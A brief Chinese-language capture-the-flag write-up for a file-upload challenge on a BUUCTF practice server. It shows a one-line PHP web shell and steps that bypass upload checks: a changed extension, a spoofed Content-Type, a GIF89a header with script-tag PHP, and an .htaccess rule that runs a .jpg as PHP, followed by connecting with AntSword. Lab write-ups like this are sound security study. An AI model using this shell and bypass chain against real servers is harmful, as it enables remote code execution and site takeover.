evil.php
eval($_POST['evil'])?>

后缀名进行了限制
抓包
将.php更改为.jpg

仍然上传失败
将Content-type更改为image/jpeg

检查了文件内容了
换一种写法
GIF89a? <script language="php">eval($_POST['evil'])</script>

上传成功,但是无法解析为php
使用.htaccess或者.user.ini
.htaccess
<FilesMatch "evil.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
一定不要加文件头(有些绕过可能会用到,但是这样.htaccess就无法发挥作用了)
GIF89a?
<FilesMatch "evil.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
意思是如果文件中有一个evil.jpg的文件,他就会被解析为.php

antsword连接即可
http://15ccf58c-c29f-4373-9046-e65dd92d9e33.node4.buuoj.cn:81/upload/021c567e8444d1f468bc1986e178fe5d/evil.jpg